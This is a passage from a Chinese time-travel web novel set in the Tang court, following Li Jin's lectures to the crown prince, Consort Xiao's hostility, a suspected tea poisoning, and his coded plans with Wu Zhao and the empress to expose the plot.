“以实学服人……” 他默念着这句话,目光投向皇城东侧,那是东宫所在的方向。那里,将是他的新战场。而太医署的经历告诉他,在这个时代,超越时代的“实学”,若运用得当,谨慎呈现,或许真能为自己,也为这片时空,凿开一丝别样的光亮。
第28章 萧淑妃之妒
东宫讲学的诏书终于正式下达。李瑾首次踏入东宫崇文馆,是在一个秋阳煦暖的午后。崇文馆位于东宫显德殿东侧,环境清幽,藏书颇丰。殿内已按讲学之仪做了简单布置,上首设一讲师席,下设数张书案,太子及伴读、侍讲等分坐其下。
李瑾今日特意选了一身沉稳的深蓝色儒袍,既显庄重,又不至于过分刻板。他知道,今日面对的,不仅是年仅十岁的太子李忠,更有其身后代表着各方势力的东宫属官、侍读。这些人或许表面恭敬,内心却未必服气他这个凭借“杂学”和“机缘”得蒙圣眷的年轻宗室。
太子李忠已在座,是个面容清秀、略显瘦弱的少年,穿着杏黄色常服,眼神清澈中带着几分这个年纪少有的拘谨和早熟。见到李瑾进来,在侍读的示意下,起身行礼:“学生见过李师傅。” 礼数周全,但缺乏亲近。
“太子殿下折煞臣了,臣万不敢当‘师傅’之称,蒙陛下恩典,来与殿下讲些杂闻趣事,开阔眼界而已。” 李瑾连忙侧身避礼,态度恭谨而不卑微。
太子左右,侍坐着数人。一位是年约四旬、面容严肃的东宫左庶子于志宁,乃当世大儒,太子经学师傅,今日似是被安排来“旁听”。另有两位年轻些的侍读,一位是太子母族远亲,另一位则是朝中某侍郎之子,皆衣着华贵,神色矜持。此外,还有几位负责记录、侍墨的东宫属吏。
于志宁对李瑾微微颔首,算是打过招呼,眼神平静无波,看不出喜怒。两位年轻侍读则毫不掩饰地投来好奇与审视的目光。
“李公子既奉旨讲学,便请开始吧。不知今日欲为太子殿下讲何杂学?” 于志宁开口,声音平稳,却自带一股学究的威严。
“是。” 李瑾拱手,然后转向太子,声音放得温和些,“殿下,臣今日不讲经史,亦不谈诗文。想给殿下讲一个关于万里之外,一群商人如何在沙漠、海洋、不同国度之间,经营货物、管理商队、应对风险的故事。故事中,或许能窥见些许算术之妙、地理之奇、人心之微,以及……求生求利、乃至求存之道。”
“商贾之事?” 太子有些疑惑,他自幼所学,皆是圣贤经义,治国大道,商贾乃四民之末,似乎难登大雅之堂。于志宁眉头也几不可察地蹙了一下。
“正是。” 李瑾微笑,“然此非寻常商贾。殿下可知,为何我大唐丝绸,能抵万里之外的拂菻(东罗马帝国),价等黄金?为何天竺香料、波斯宝石,能汇聚长安西市?这其间,路途之遥、风险之巨、计算之精、人心之诡,不亚于经营一方,统领一军。知其运作,或可稍解‘货殖’、‘利往’之实,对殿下将来观天下、察民情,或有小助。”
他将“商贾”拔高到“观天下、察民情”的层面,又暗合了皇帝“生利、聚利”的思考,既抬高了话题,也给了自己一个合理的讲授立场。
太子毕竟少年心性,对“万里之外”、“沙漠海洋”、“风险奇遇”等字眼产生了兴趣,点了点头:“愿闻其详。”
李瑾便开始讲述一个精心编织的、以《大食商贾行记》为蓝本,但更加生动、细节更加丰富的故事。他描述了一支庞大的大食商队,如何从巴格达出发,携带玻璃器、香料、药材,穿越浩瀚沙漠,应对沙暴、盗匪、补给危机;如何抵达西域,与当地人交易丝绸、瓷器;又分出一支船队,扬帆出海,经历风暴、暗礁,抵达天竺、南洋,换取珍珠、犀角、苏木;最终部分货物辗转来到广州、泉州,再沿运河、驿道运抵长安。
他并非平铺直叙,而是在故事中巧妙嵌入了知识点。讲到商队穿越沙漠,他便提及如何通过观察星象、利用“牵星板”导航,暗中引入简易天文地理概念;讲到应对盗匪,他便描述首领如何利用地形设伏、如何以财物分化敌人,涉及简单的策略与人心揣摩;讲到货物交易,他便引入简单的等价计算、货币兑换、甚至模糊的“供需”概念;讲到管理庞大商队,他便提及分工、激励、惩戒,与管理学的雏形。
他讲得绘声绘色,将枯燥的知识包裹在惊险的故事中,偶尔还画上几笔简陋但形象的地图、星图、货物清单。太子听得渐渐入神,连那两位起初不以为然的年轻侍读,也被故事吸引。于志宁起初面无表情,但听到李瑾提及商队首领利用《孙子兵法》中“知己知彼”思想应对劫匪,以及引用《管子》“仓廪实而知礼节”来解释为何商路通畅能带来边境安宁时,眼中闪过一丝讶异。
一个时辰的讲学很快过去。结束时,太子意犹未尽,主动问道:“李……李师傅,那商队最终回到巴格达,是赚是赔?那首领后来又如何了?”
李瑾笑道:“殿下,故事还未完。那首领归乡后,将所得财富,一部分用于扩建家园,奖励随行伙伴;一部分用于接济孤苦,修桥补路;还有一部分,则用于资助学者翻译各国典籍,探索新的航路与物产。他认为,财富聚之不易,当散之有道,方能源远流长。至于赚赔,其旅途所得珍宝固然价值连城,然其沿途所绘地图、所记风物人情、所结各方善缘,乃至其商队磨练出的这批见多识广、坚韧不拔的伙计,其价值,或许更在金银之上。”
他再次将话题引向“散财有道”、“长远价值”,与之前同皇帝讨论的“均利”暗合。
太子若有所思,点了点头。于志宁此时开口道:“李公子今日所讲,虽是商贾故事,然其中蕴含地理、算学、乃至御下、应变之理,倒也别致。太子殿下能广见闻,亦是好事。只是……”他顿了顿,“经义乃根本,还望公子把握分寸,莫要本末倒置。”
“于公教诲,瑾铭记于心。杂学趣闻,只为佐餐,经史大道,方是主粮。臣必当时时提醒自己,勿忘根本。” 李瑾恭敬应道。他知道,于志宁这是在划界线,也是默许了他这种“佐餐”式的讲学存在。
首次讲学,有惊无险,甚至可算成功。太子虽未表现得特别热络,但至少不排斥,且对后续故事有了期待。于志宁的态度也还算平和。李瑾略略松了口气。
然而,他并未察觉,在崇文馆殿外回廊的立柱后,一个穿着浅碧色宫女服饰、眉眼伶俐的身影,悄无声息地伫立了许久,将殿内讲学的大致内容,乃至太子的反应,都听在耳中,记在心里。见讲学结束,那身影才如同游鱼般,悄然没入重重殿宇阴影中。
数日后,李瑾依诏再次入东宫讲学。此次他准备讲述“海船构造与远洋航行”,结合一些简易的流体力学、材料学常识,以及更广阔的世界地理猜想。他相信,这种探索未知、胸怀天地的气魄,应当能进一步激发太子的兴趣。
讲学依旧在崇文馆。今日太子似乎精神稍好,听讲时提问也多了些。然而,就在李瑾讲到“海船如何利用风帆角度,吃风而行,甚至逆风迂回”时,殿外忽然传来一阵环佩叮咚之声与女子细碎的谈笑,由远及近。
殿内众人皆是一怔。东宫崇文馆乃太子读书之所,等闲宫人不得喧哗靠近。
只见数名衣着鲜亮的宫女簇拥着一位宫装丽人,迤逦而来,径直到了崇文馆门外。那丽人云鬓高耸,金钗步摇,一身绯红缕金百蝶穿花宫装,外罩着月白蹙金绣海棠的披帛,容颜娇艳,明媚不可方物,正是萧淑妃!她身后跟着的宫女中,有一个眉眼伶俐的,正是那日曾在崇文馆外窥听的碧衣宫女。
“妾身听闻太子在此进学,特来探望。没打扰到太子殿下吧?” 萧淑妃站在殿门口,并不进来,笑吟吟地开口,声音娇脆,目光却如轻盈的羽毛,在殿内扫过,最后落在李瑾身上,停留了一瞬,眼波流转,带着探究与一丝难以言喻的意味。
太子李忠连忙起身:“淑妃娘娘来了,快请进。” 态度恭敬,但隐隐带着疏离。他虽养于王皇后膝下,但对这位宠冠后宫、与皇后不睦的淑妃,本能地保持着距离。
于志宁也起身行礼,眉头微蹙,显然对萧淑妃突然到来且直入太子书斋不甚赞同,但碍于礼数,不便直言。
“不必了,妾身就是顺路过来看看。” 萧淑妃笑着摆手,目光再次转向李瑾,“这位便是陛下新点为太子讲杂学的李公子吧?果然年轻俊朗,气度不凡。妾身前日还听陛下提起,说李公子见识广博,连孙真人都赞赏有加呢。”
“淑妃娘娘谬赞,臣愧不敢当。” 李瑾躬身行礼,心中警铃大作。萧淑妃为何突然前来?真是“顺路”?还特意提到皇帝和孙思邈的赞赏?
“李公子不必过谦。” 萧淑妃笑意更深,却未达眼底,“太子殿下能得李公子这般新颖有趣的讲学,是殿下的福气。只是……” 她话锋一转,语气依旧轻柔,却仿佛带着细刺,“这杂学虽有趣,终究是旁门。太子殿下乃国之储贰,将来要承继大统,总理万机,这经史子集、治国大道,才是根本。李公子讲授时,还需时时以圣贤正道为念,莫要让殿下沉溺于奇技淫巧、商贾末利之中,移了性情才好。”
这话看似劝诫,实则指责李瑾讲授内容“不务正业”,甚至可能“移了太子性情”,可谓诛心之论!殿内气氛骤然一凝。
于志宁脸色微沉,但萧淑妃是妃嫔,他作为外臣,不便直接反驳后宫主子对太子教育的“关心”。
太子李忠嘴唇动了动,想说什么,却似乎有些怯于萧淑妃的气势。
李瑾心中凛然,知道这是萧淑妃对自己的第一次正式发难,借“关心太子”之名,行打压警告之实。他必须回应,且不能软弱,又不能失礼顶撞。
他再次躬身,态度依旧恭谨,声音平稳清晰:“淑妃娘娘教诲,臣谨记于心。臣奉旨讲学,所授内容,皆经陛下首肯。陛下曾言,太子既需明经史大道,亦需知天下山川、民生物力、四方风物。臣所讲商贾航运、地理物产,非为鼓吹逐利,实为让殿下知晓,我大唐物阜民丰、万国来朝之盛景从何而来;知晓一粒粟、一寸丝、一件器,凝聚多少民力艰辛、四方辗转;知晓治国者,眼中当有江山社稷,亦当有市井阡陌、边关海疆。知民生之多艰,方知仁政之可贵;晓货殖之流转,方明富国之有途。此乃格物致知,亦是陛下期望殿下所有之胸襟眼界。臣才疏学浅,唯恐不能达圣意于万一,若有偏颇,恳请娘娘与于公随时指正。”
他这一番话,不卑不亢,将皇帝的旨意抬出来作为依据,并将自己的“杂学”拔高到“知民生”、“明富国”、“阔胸襟”的层面,完全契合储君教育的目标,又拉上了于志宁,显得自己并非独断专行。
萧淑妃脸上的笑容微微僵了一下,眼中闪过一丝冷意,但很快恢复如常:“李公子倒是能言善辩。陛下慧眼,自然是不会错的。妾身一介妇人,见识浅薄,不过是关心则乱,多嘴几句罢了。太子殿下专心进学,妾身就不多扰了。” 说着,对太子笑了笑,“殿下,妾身宫中新得了些岭南进贡的鲜荔枝,已让人送了些到殿下宫中,殿下读书辛苦,尝尝鲜。”
“谢淑妃娘娘。” 太子李忠礼貌道谢。
萧淑妃又瞥了李瑾一眼,那目光意味深长,仿佛在说“我们走着瞧”,然后才扶着宫女的手,袅袅婷婷地离去,留下一阵香风。
殿内气氛有些沉闷。于志宁看了李瑾一眼,淡淡道:“淑妃娘娘也是关心太子殿下。李公子日后讲学,内容还需更加审慎,莫要予人口实。”
“于公说的是,臣定当注意。” 李瑾应道。他知道,于志宁未必认同萧淑妃,但肯定也不愿东宫教育成为后妃攻讦的战场。
太子李忠看着萧淑妃离去的方向,小脸上没什么表情,但袖中的手微微握紧。他忽然转向李瑾,问道:“李师傅,你方才说,知民生之多艰,方知仁政之可贵。那商队穿越沙漠,干渴将死,若你是首领,只剩最后一袋水,会如何分给同样干渴的随从和路遇的陌生旅人?”
这个问题问得突然,且颇为犀利,直指人心与抉择。于志宁和其他侍读也看向李瑾。
李瑾心中一动,太子此问,或许不仅是好奇,更有一丝对他刚才那番“大道理”的试探。他沉吟片刻,缓缓道:“殿下,此问并无定解。若依常理,或先保己方随从,因其是同生共死之人。然,若那陌生旅人并非歹人,且奄奄一息,见死不救,于心何忍?或许,可衡量距离绿洲或水源还有多远,计算每人最低所需,将水分作数份,人人有份,但都不足,激励众人齐心协力,尽快寻到水源。又或许,首领可自己少饮或不饮,以安众心……如何抉择,在乎当时情境,更在乎首领心中,是‘利’字当头,还是‘义’字为先,或是……‘仁’字为本。为君者,遇事抉择,亦当如是,需权衡轻重,洞察人心,但终究,离不开一个‘仁’字。无仁心,则一切权衡算计,终将失了根本。”
他将问题升华到为君者的抉择之道,最终落回儒家核心的“仁”上,既回答了问题,又紧扣了“正道”。
太子听罢,沉默良久,才轻轻点头:“李师傅说得是。仁心为本。” 他看向李瑾的目光,似乎少了几分最初的疏离,多了一丝极淡的认同。
于志宁脸色稍霁,对李瑾道:“时辰不早,今日就到此吧。”
离开东宫,秋风吹拂,李瑾却感到一阵寒意。萧淑妃的突然出现与那番绵里藏针的话,清楚地表明,这位宠妃已经注意到了自己,并且因为自己与王皇后的关联(进献香露、调理之策),以及可能对太子产生的影响,将自己视为了需要打压的对象。今日只是言语试探警告,下一次,恐怕就不会这么温和了。
“萧淑妃之妒……” 李瑾默念着这个词。这“妒”,恐怕不止是对皇帝可能关注的“人才”的嫉妒,更是对王皇后一系势力可能增强的警惕与敌意。自己这个微不足道的棋子,已被卷入了后妃争斗的漩涡边缘。
回到宅中,他立刻提笔,将今日东宫讲学遭遇萧淑妃之事,以密语写成简短报告,准备通过渠道递送给感业寺中的武曌。武曌身在后宫多年,对萧淑妃的了解必然更深,她的判断至关重要。
同时,他也让李福去寻杜铭,打听近日萧淑妃外戚、以及与其亲近的朝臣,有无异常动向。他必须提前防备。
夜幕降临,李瑾独立院中,望着东宫方向。那里是未来的权力中心,也是风暴眼。太子的“仁心为本”,萧淑妃的“笑里藏刀”,于志宁的“经学正统”,还有自己那点试图播撒的“现代思维”……各种力量在此交汇碰撞。
他知道,从今日起,自己将不再仅仅是太子的“杂学讲师”,更是某些人眼中需要清除的障碍。东宫之路,注定不会平坦。而萧淑妃那妩媚笑容下的冷意,如同这深秋的夜风,预示着更严酷的寒冬即将来临。
第29章 暗箭悄然至
萧淑妃崇文馆一行,如同投入湖面的石子,虽未激起滔天巨浪,却在东宫乃至相关人等的心里,漾开了层层需要警惕的涟漪。李瑾愈发谨慎,不仅在东宫言行更加注意分寸,连日常出入、与人交往也精简了许多。除了每月固定三次赴东宫讲学,他基本闭门不出,要么在书房准备教案、整理杂学笔记,要么在城西作坊与王掌柜、匠人们推敲“明玻”工艺的改进。与感业寺中武曌的密信往来,也变得更加隐秘和频密,双方都在努力拼凑着来自不同渠道的、关于萧淑妃及其关联势力的信息碎片。
然而,有些暗箭,并非谨慎就能完全避开。它们往往来自你意想不到的角度,在最松懈的时刻,给予致命一击。
时序入冬,长安城落下了今岁第一场薄雪。李瑾在东宫的第三次讲学颇为顺利,他讲了“水之利”——从大禹治水到郑国渠、都江堰,再到前朝大运河的开凿,着重分析水利工程如何改变地理、影响民生、乃至牵动国运。他将一些简单的工程学原理、材料学知识(如不同土壤特性、夯筑技巧)融入其中,并引导太子思考“顺势而为”与“人定胜天”的平衡。太子李忠听得认真,偶尔提问也渐切要害,左庶子于志宁虽仍板着脸,但并未出言打断或质疑,甚至在某处关于漕运损耗的讨论时,略微颔首。
讲学结束,李瑾照例在崇文馆侧厢稍作整理,将今日所用的简易图表、笔记收好。一名在东宫服侍多年的老内侍,姓胡,平日沉默寡言,但做事稳妥,负责崇文馆一应杂务。他捧着一碗热气腾腾的姜茶进来,低声道:“李公子,今日天寒,喝碗姜茶驱驱寒气再走吧。殿下吩咐厨房给各位讲官、侍读都备了的。”
李瑾不疑有他,东宫确有此类体恤之举。他道了声谢,接过姜茶。茶水温热,姜气辛辣,几口下肚,果然觉得身上暖了不少。他将空碗递还,又略坐了片刻,觉得并无异样,便起身告辞。
出了东宫,天色阴沉,细雪又飘了起来。李瑾坐上马车,行至半途,忽然觉得小腹传来一阵轻微的绞痛,起初并不在意,以为只是天寒受了些凉。但疼痛感很快加剧,并且位置开始游移,伴随着隐隐的恶心感。
不对劲!李瑾心中一沉。他身体自穿越后虽不算强健,但经过大半年调养,已无大碍,且饮食一向注意。今日只在东宫用了那碗姜茶……难道是那茶有问题?
他强忍不适,催促车夫快行。回到崇仁坊宅中时,腹痛已转为一阵紧似一阵的痉挛,额角渗出冷汗,脸色也苍白起来。李福见状大惊,连忙扶他躺下,要去请郎中。
“且慢!” 李瑾忍着痛,低声道,“先去……先去西市回春堂,请坐堂的秦老先生,莫要声张,从后门悄悄引他进来。别去常去的医馆。”
秦老先生是王掌柜介绍的一位老郎中,医术不错,口风也紧,曾为“明玻”作坊的匠人看过病。李瑾此刻不敢轻易信任陌生人,更不敢大张旗鼓请医,以免落入圈套。
等待郎中的时间格外难熬。腹痛时轻时重,恶心感越来越强,李瑾甚至干呕了几次,却吐不出什么。他强迫自己冷静分析:如果是下毒,目的是什么?直接毒杀自己?那碗茶是东宫所供,经手人是东宫内侍,若自己暴毙,必然震动东宫,皇帝必会严查。下毒者风险极大。若不是剧毒,那是什么?泻药?让自己出丑?还是某种引发急症、看似“意外”的药物?
他仔细回忆那碗姜茶的味道,除了姜的辛辣,似乎并无其他异味。但若是精通药性之人,完全可以用一些气味不显的药物。
秦老先生很快被李福从后门引入。老郎中见李瑾模样,也是吃了一惊,连忙诊脉、观色、询问症状及今日饮食。
“公子今日除了家中饮食,可还用过别物?” 秦老先生眉头紧锁。
“只在东宫……饮过一碗姜茶。” 李瑾虚弱地道。
“姜茶……” 秦老先生沉吟片刻,又问,“公子可还记得,腹痛是饮茶后多久开始的?除了腹痛恶心,可还有别处不适?比如,心悸、头晕、视物模糊?”
“约莫两刻钟后始觉不适。主要是腹中绞痛,游走不定,恶心欲呕,手脚有些发冷,但并无心悸头晕,视物也清。” 李瑾仔细感受后回答。
秦老先生又仔细诊了脉,翻开李瑾眼皮看了看,思索良久,方缓缓道:“从公子脉象、症状看,不似寻常寒邪入里,亦非急腹症。倒像是……误食了某种相冲相克之物,引发了肠胃剧烈痉挛。”
“相冲相克之物?” 李瑾心中一动。
“正是。” 秦老先生捋须道,“公子可听过‘十八反’、‘十九畏’?有些药物、食物,单用无碍,同食则可能产生毒性,或引发强烈不适。公子所饮姜茶,本有驱寒暖胃之效。然姜性辛温发散,若与某些同样辛散、或性寒凝滞之物同食,则可能使气机逆乱,缠塞于中焦,引发腹痛、呕恶。只是……” 他顿了顿,“公子既只在东宫用了姜茶,那相冲之物,是何时食入的?莫非公子早间或前日,曾食用了与姜相畏之物而不自知?”
李瑾摇头:“早间只用清粥小菜,昨日饮食也寻常。并无特殊之物。” 他忽然想到,如果是下毒,未必需要自己提前服下“相畏之物”,完全可以将另一种药物,提前下在那碗姜茶里,或者……涂抹在茶碗上!而姜茶本身,就是触发剂!
“老先生,若是有人将一种与姜相畏的药物,提前置于茶碗内壁,再倒入姜茶,是否也能引发此症?” 李瑾问道。
秦老先生一怔,面色凝重起来:“若是精通药性,确有可能。有些药物研磨极细,或化为无色无味之液,沾染器皿,难以察觉。遇姜汤之热辛,其性激发,便可伤人。只是,此等手段……” 他看了李瑾一眼,没有说下去,但意思很明显,这是阴私害人之法。
“那此症可有大碍?如何解法?” 李瑾追问。
“所幸公子摄入应是不多,且体质尚可。此症虽来势急,但若处置得当,未必伤及根本。老夫先为公子行针,疏导气机,止痉安中。再开一剂调和之方,煎服后,静养一两日,当可缓解。只是这几日需饮食清淡,万不可再食辛发之物,更需安心静养,勿使情绪激动,以免气机再度紊乱。” 秦老先生道。
“有劳老先生。” 李瑾点头,心中已是一片冰冷。这不是意外,是精心设计的陷害!目的不是立刻要自己的命,而是让自己突发“急症”,而且这“急症”的诱因,可以归结为“误食相克之物”。如此一来,下毒者风险小,而自己却要受苦,更重要的是——若是自己“突发急症”的消息传开,尤其是在刚刚结束东宫讲学之后,会引发怎样的联想和猜疑?
秦老先生为李瑾施针,又开了药方。李福亲自去抓药、煎药。服药后,李瑾腹痛渐渐平息,但浑身乏力,恶心的感觉仍未完全消退。
他强打精神,对李福道:“我抱恙之事,暂勿外传。若有人问起,便说我感染风寒,需静养几日。另外,你设法悄悄打听一下,今日东宫崇文馆奉茶的那位胡内侍,最近可有什么异常,或者与哪些人来往过密。要小心,莫要打草惊蛇。”
李福红着眼眶应下。
李瑾独自躺在榻上,望着帐顶,脑海中飞速梳理。谁要害自己?萧淑妃的嫌疑最大。她有动机(打压王皇后一系、警告自己),也有能力(后宫宠妃,在东宫安插或收买一两个不起眼的内侍,并非难事)。手段也符合后宫女子惯用的阴私路子——不下剧毒,而是用药物引发症状,既可惩戒警告,又不易留下把柄,即便追查,也可推脱是“食物相克”的意外。
但,这只是猜测,没有证据。那个胡内侍,很可能只是被利用的棋子,甚至自己都未必知道那碗茶有问题。下药者或许另有其人,而且必定是精通药性之辈。太医署?萧淑妃能驱使太医署的人吗?刘神威是孙思邈弟子,应该不会。但太医署并非铁板一块,之前就有王太医等人对自己不满……
“公子,杜铭公子来访,听闻您身体不适,坚持要进来探望。” 李福在门外低声道。
杜铭?他怎么这么快就知道了?李瑾心中警惕,但杜铭是目前少数可信之人。“请他进来吧。”
杜铭急匆匆进来,看到李瑾脸色苍白卧于榻上,吓了一跳:“瑾兄!你这是怎么了?白日里不还好好的?”
“偶感不适,或许是着了风寒,又吃错了东西,腹中绞痛。已请郎中看过,服了药,无大碍了。” 李瑾轻描淡写。
“只是风寒吃坏东西?” 杜铭将信将疑,在榻边坐下,压低声音,“瑾兄,我方才在府中,听父亲提及一事,觉得蹊跷,放心不下,特来告知。父亲说,他今日散朝后,与几位同僚在政事堂外闲聊,隐约听到有两位并非东宫属官的官员在议论,说什么‘太子新来的讲学,好是好,就是身子骨弱了些,别把什么病气过给了殿下’,‘听闻今日讲学后,那李瑾脸色就很不好,怕是宿疾’云云。父亲觉得此言不妥,但议论者声音不高,且很快走开,他也不好追问。我听了,便想到瑾兄,赶紧过来看看。”
李瑾心中一凛。果然!这边自己刚刚“发病”,那边已经有流言开始散布了!而且这流言极为阴毒,不仅暗示自己“身有宿疾”,更影射可能“过病气给太子”!这是要彻底毁掉自己东宫讲学的资格,甚至让自己背上“可能危害储君”的嫌疑!一旦这种流言传入皇帝或皇后耳中,后果不堪设想!
“多谢杜兄告知。” 李瑾声音有些发冷,“我身体并无宿疾,此次是意外。只是这流言……来得未免太快了些。”
杜铭也不是蠢人,闻言脸色一变:“瑾兄的意思是……有人故意害你,还散布流言?是萧……” 他及时住口,但眼中已有了答案。
“无凭无据,不可妄言。” 李瑾摇头,“只是此事蹊跷,需小心应对。杜兄,还要劳烦你,通过可靠渠道,留意这些流言的源头和传播范围。另外,我可能需要面见皇后殿下陈情,还需杜兄和令姑母周尚宫设法安排,越快越好。但需隐秘,不能让人知道我‘病中’仍能活动。”
他必须尽快见到王皇后,一来澄清“突发急症”并非宿疾,二来禀报可能有人陷害,三来……也需要借助皇后的力量,压制和反击流言。皇后与萧淑妃是死对头,此事若操作得当,或许能反将一军。
“我明白!我这就回去找家母和姑母商量!” 杜铭也知事态严重,立刻起身。
“且慢,杜兄,还有一事。” 李瑾叫住他,“我发病之事,以及流言,暂时不要告诉许元瑜兄。”
杜铭一怔:“元瑜兄与我们也算交好,为何?”
“元瑜兄在东宫任职,位置敏感。此事若涉及东宫内侍,他知情反而为难。且……我需确认一些事情。” 李瑾没有明说,但杜铭似乎懂了些什么,重重点头,匆匆离去。
杜铭走后,李瑾疲惫地闭上眼。腹痛虽缓,但心头沉重。暗箭已至,虽然未能致命,却已将自己置于极为不利的境地。流言如刀,杀人无形。必须尽快破局。
他想到了武曌。此事是否要立刻告知她?她身在感业寺,能做什么?或许……她能有不同的视角。而且,自己需要她的智慧。
他强撑着起身,坐到书案前,用颤抖的手提起笔。腹痛和虚弱让他的字迹有些歪斜,但他还是坚持用密语写下:“今日东宫归后,突发腹疾,医者疑为食中药物相冲所致。疑与奉茶内侍有关。现流言已起,谓我身有宿疾,恐过病气于太子。此箭甚毒,意在毁我东宫之途。卿在寺中,若有闻萧氏相关医药异动,或东宫人员近期异常,速告。我正设法面见中宫。”
他将信用蜡封好,交给李福:“老规矩,立刻送出去。”
做完这一切,李瑾几乎虚脱。他重新躺下,药力开始发作,带来阵阵困意。但在陷入沉睡之前,他脑中最后一个念头异常清晰:对手已经出招了,而且狠辣精准。接下来,不能仅仅是被动澄清和防御,必须找到反击的办法,揪出那只暗中下药的手,以及……操纵这只手的黑手。
雪,还在窗外无声飘落,掩盖了长安城的喧嚣,也仿佛要掩盖某些悄然滋生的阴谋。但有些痕迹,一旦留下,便再难抹去。这第一支暗箭,拉开了他在宫廷中真正搏杀的序幕。
第30章 反手布棋局
雪夜无声,崇仁坊小院的灯火亮至天明。
李瑾在药力与自身意志的双重作用下,昏沉却又警觉地睡了几个时辰。天光微亮时,腹痛已基本平复,只是身体依旧虚乏,恶心感也还残留些许。秦老先生开的药方颇有奇效,但这副身体经历这番折腾,确需静养。
他不敢多睡,强撑着起身,唤来李福询问夜间可有事端。李福回禀,杜铭那边尚未有消息,但感业寺的密信已于子夜前后,经由那条隐秘渠道送达。
李瑾精神一振,立刻取出译码药水,展开那看似寻常的《金刚经》抄本。武曌(媚娘)的回信,字迹依旧清隽,却带着一股冰雪般的冷静与锐利:
“闻君有疾,心甚忧之。所疑相冲之物,妾略有所闻。宫中萧妃近侍中,有一老宫人陈氏,乃其乳母之妹,昔年曾在尚药局侍奉,粗通药性,尤擅配伍相生相克之理。此人月前曾以探亲之名出宫,与西市‘保和堂’坐堂郎中有所往来。保和堂东家,与萧氏外戚有旧。君可留意此线。
流言之事,毒甚于药。然流言无根,需借风势。此风源,或在东宫,亦在萧妃宫中传播。妾闻郭老夫人近日欲入宫探望皇后殿下,或可借其口,以闲谈之姿,于御前或中宫,提及昔日太宗朝有臣子因遭嫉,被诬‘身有隐疾、恐妨贵人’,后查实乃构陷之事。郭老夫人笃信佛法,心直口快,其言或可信。
太医署刘神威,乃孙真人高足,品性刚直。君既与其师有谊,或可借孙真人之名,请其暗中查验君所疑茶碗残留,或当日东宫茶房所用姜、枣等物,有无异常。彼为医者,见疑当查,且不属萧妃一系。
妾在寺中,一切如常。慧明处已打点妥当,郭老夫人事亦有进展,彼已应允,若有机会,可为内应。君且安心应对眼前,保重自身为要。阅后即焚。”
信不长,但信息量极大,条理清晰,直指要害!武曌不仅迅速锁定了可能的施药者和关联渠道(萧淑妃乳母之妹陈宫人→保和堂→萧氏外戚),还精准地点出了流言传播的关键节点(东宫内、萧淑妃宫中),并提供了三条破局思路:利用郭老夫人“闲谈”澄清历史案例、请刘神威暗中进行专业查验、以及她自己在感业寺继续巩固慧明和郭老夫人这条线。
更重要的是,她提到了“保和堂”和萧氏外戚的关联!这就为追查药物来源提供了具体方向!而让刘神威以医者本分、借孙真人之名暗中查验,既专业可靠,又能将太医署中正直的力量拉入己方,至少是争取其中立。
“好一个武曌!” 李瑾心中赞叹,寒意稍去,斗志渐生。她人在感业寺,消息之灵通、分析之透彻、谋划之周全,简直令人惊叹。这份急智与布局能力,已初显未来女政治家的锋芒。有此盟友,实乃大幸!
他不敢耽搁,立刻着手布置。
首先,他唤来李福,让其立刻通过王掌柜,动用市井中最可靠的眼线,秘密调查西市“保和堂”的坐堂郎中,以及其与萧氏外戚(特别是萧淑妃的兄弟子侄)的往来,重点查探月前是否有一位宫中老妇模样的妇人前去,购买或咨询过特殊药物,尤其是与“姜”相冲相畏之物。此事需极度隐秘,宁可查不到,也不能打草惊蛇。
其次,他提笔给刘神威写了一封简短的信。信中不提中毒疑案,只以请教的口吻写道,自己昨日偶感不适,腹痛呕恶,请的郎中断为可能误食了与姜相冲之物,自己百思不得其解,因知刘兄精研药性,又是孙真人高足,故冒昧请教,是否有些罕见药物,与姜同用会引发此类急症?若有,其性状如何,可能源于何处?最后附上一句:“此事关乎瑾自身,亦恐他人误蹈覆辙,故恳请神威兄费心。孙真人处,若得便,亦请代为请教,然万勿惊动旁人,以免徒增烦恼。” 这封信,既点明了症状和怀疑(与姜相冲),给出了合情合理的请教理由,又暗示了“恐他人误蹈”的担忧,并将孙思邈抬出来,刘神威只要不傻,必能领会其中深意,并会以医者的责任心去暗中调查。信由李福亲自送往刘神威在太医署外的住处。
做完这两件事,天已大亮。杜铭匆匆赶来,带来了周尚宫的回音。
“瑾兄,姑母已设法禀明皇后殿下。殿下闻知你突发急症,又有流言中伤,甚为震怒,已着人暗中查探流言源头。殿下之意,你既身体不适,本不宜挪动,但此事关乎东宫讲学资格及你自身清誉,拖延不得。殿下已安排妥当,今日午后,陛下会往常宁殿(王皇后寝宫)小坐。届时,殿下会借机提及郭老夫人今日入宫请安,陛下或许会见一见。郭老夫人是陛下潜邸旧臣之母,陛下素来礼遇。姑母让你尽快整理一份关于此次急症及流言的简明陈情,她会在陛下驾临前,寻机让你‘偶遇’郭老夫人,由你亲口向郭老夫人‘请教养生之道’,顺势将事情委婉透露。郭老夫人心直口快,又笃信佛理,最见不得宵小构陷之事,由她在陛下面前‘偶然’提及,最为自然。殿下会在旁转圜。” 杜铭语速极快,显然此事安排得颇为周折。
李瑾心中一定。王皇后反应迅速,且手段老辣。不直接让自己面圣陈情,而是通过郭老夫人这个“第三方”兼“老勋戚”之口,看似闲谈,实则句句要害,既能澄清事实,又能揭露构陷,还不会显得皇后或自己急吼吼地告状,可谓高明。这也与武曌的提议不谋而合。
“皇后殿下思虑周全,瑾感激不尽。陈情书我即刻准备。只是……” 李瑾略一迟疑,“我此时‘病中’,若出现在宫中,是否惹人生疑?”
“无妨。” 杜铭道,“姑母安排你在常宁殿西侧暖阁等候,那里僻静,只说你是应皇后之前吩咐,来送新制的香露样本。郭老夫人会在偏殿歇息,姑母会引她‘偶然’路过暖阁。你只需将陈情要点,以向老夫人‘请教养生、谈及自身经历’的方式说出即可。你面色不佳,反倒更显真实。至于流言说你‘宿疾’,秦老先生那边,殿下已派人去打过招呼,必要时可请其为证。但最好不用到那一步。”
“明白了。” 李瑾点头,立刻铺纸研墨,开始起草一份简明扼要的“陈情要点”。他必须将“突发急症疑为食物相克”、“东宫奉茶内侍胡某”、“流言骤起谓己身有宿疾恐过病太子”这几件事,以客观、困惑、甚至带点后怕的口吻串联起来,既要表明自己无辜受害,又不能直接指控任何人,最后落脚于“恐小人构陷,损及东宫清誉,亦负陛下信任,心中不安,特向老夫人请教,此类事当如何自处”,将个人安危与东宫、皇权挂钩。
午时刚过,李瑾勉强用了些清粥,换上一身半新不旧、略显宽大的深青色袍服,让自己看起来确实有几分病容,但又不至过于狼狈。在李福的搀扶下,坐上杜家安排的、不起眼的青篷马车,悄然从侧门进入皇城,被一名早已等候的小内侍引着,七拐八绕,来到常宁殿西侧的暖阁。
